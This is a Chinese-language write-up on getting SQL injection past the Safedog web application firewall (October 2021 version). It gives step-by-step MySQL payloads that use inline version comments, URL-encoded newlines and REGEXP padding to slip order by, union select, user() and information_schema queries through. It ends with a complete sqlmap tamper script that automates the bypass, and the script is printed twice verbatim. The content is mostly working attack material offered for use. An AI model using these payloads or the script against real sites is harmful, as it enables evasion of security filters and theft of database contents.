安全狗sql注入-2021.10.12最新版本绕过
0x00：前言
安全狗又偷偷摸摸更新了，可恶，正好赶在我分享前，逼着我又绕过一次
0x01：绕过
之前安全狗就像没开发完一样，简单内联就过去了，但是现在的安全狗摇身一变，变得稳重了起来。
就连报错界面都变成了大人的模样。
看这架势，不好过啊
可惜啊，就半个下午，安全狗惨败
首先 and 内敛注释依旧是可以过的，看来安全狗并没有太过关注and，可能是觉得后面的规则比较牛，知道有注入也没用？
然后是order by ，从这里开始，事情就变得微妙了起来
猜测规则是order by 组合强规则，意思就是order by中间无论加什么都过不去
随便试一试
果然，但是有没有发现，我fuzz的符号里没有加＃号，因为加了就会这样
由于锚点这个特殊性，盲猜这是一个突破点
可能安全狗遇到注释也会直接截断掉后面的语句（参考某锁），那就好说了，构造个注释在语句前面即可
居然没过，小看你了安全狗，看来order by规则还没失效，那么 尝试隔断order by
中间加个%0a
轻轻松松
接下来是union select 组合
同理，也可以这样过
1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,2,3 --+
下一个是user()这类函数，这里也是个坑，发现直接括号会被拦
去一个右括号就没事了，这规则也是无语
既然如此，在括号里下文章即可
依然是换行加注释绕过
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +
然后是INFORMATION_SCHEMA 这玩意，居然也被加到了规则里，
没关系，继续构造虚拟注释，
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(schema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.schemata*/),3-- +
0x02：tamper
方法知道了，脚本就自己长出来了，如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace(" "," ",1)
payload=payload.replace("ORDER BY","REGEXP \"[...%25%23]\" /*!11444order %0a by*/")
payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/")
payload=payload.replace(" AND","/*!11444AND*/")
payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE")
payload=payload.replace("UNION SELECT","/*!11444union*/ /*REGEXP \"[...%25%23]\"*/ %0a select /*REGEXP \"[...%25%23]\"*/")
payload=payload.replace("UNION ALL SELECT","REGEXP \"[...%0a%23]\" /*!11444union %0a select */ ")
payload=payload.replace("()","(%0a /*!80000aaa*/)")
payload=payload.replace(" AS","/*!11444AS*/")
payload=payload.replace("FROM","/*!11444FROM*/")
payload=payload.replace("INFORMATION_SCHEMA","/*like\"%0a%23\"*/ %0a INFORMATION_SCHEMA")
payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")
return payload
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace(" "," ",1)
payload=payload.replace("ORDER BY","REGEXP \"[...%25%23]\" /*!11444order %0a by*/")
payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/")
payload=payload.replace(" AND","/*!11444AND*/")
payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE")
payload=payload.replace("UNION SELECT","/*!11444union*/ /*REGEXP \"[...%25%23]\"*/ %0a select /*REGEXP \"[...%25%23]\"*/")
payload=payload.replace("UNION ALL SELECT","REGEXP \"[...%0a%23]\" /*!11444union %0a select */ ")
payload=payload.replace("()","(%0a /*!80000aaa*/)")
payload=payload.replace(" AS","/*!11444AS*/")
payload=payload.replace("FROM","/*!11444FROM*/")
payload=payload.replace("INFORMATION_SCHEMA","/*like\"%0a%23\"*/ %0a INFORMATION_SCHEMA")
payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")
return payload
